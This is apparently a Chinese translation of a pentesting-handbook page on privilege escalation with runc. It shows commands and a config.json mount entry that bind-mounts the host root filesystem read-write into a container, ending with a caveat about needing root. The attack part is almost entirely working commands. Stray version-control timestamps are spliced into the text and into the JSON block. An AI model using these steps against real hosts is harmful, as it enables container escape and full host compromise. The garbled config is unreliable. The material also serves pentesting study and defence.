## 基本信息
如果你想了解更多关于 **runc** 的信息,请查看以下页面:
2022-05-01 13:25:53 +00:00
{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %}
[2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md)
{% endcontent-ref %}

## PE
如果你发现 `runc` 已安装在主机上,你可能能够 **运行一个挂载主机根 / 文件夹的容器**
```bash
runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder
Inside the "mounts" section of the create config.json add the following lines:
{
2023-08-03 19:12:22 +00:00
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},
#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs
# Finally, start the container
# The root folder is the one from the host
runc run demo
```

{% hint style="danger" %}
这并不总是有效,因为 runc 的默认操作是以 root 身份运行,因此以非特权用户身份运行根本无法工作(除非你有无根配置)。将无根配置设为默认通常不是一个好主意,因为在无根容器内有相当多的限制,而这些限制在无根容器外并不适用。
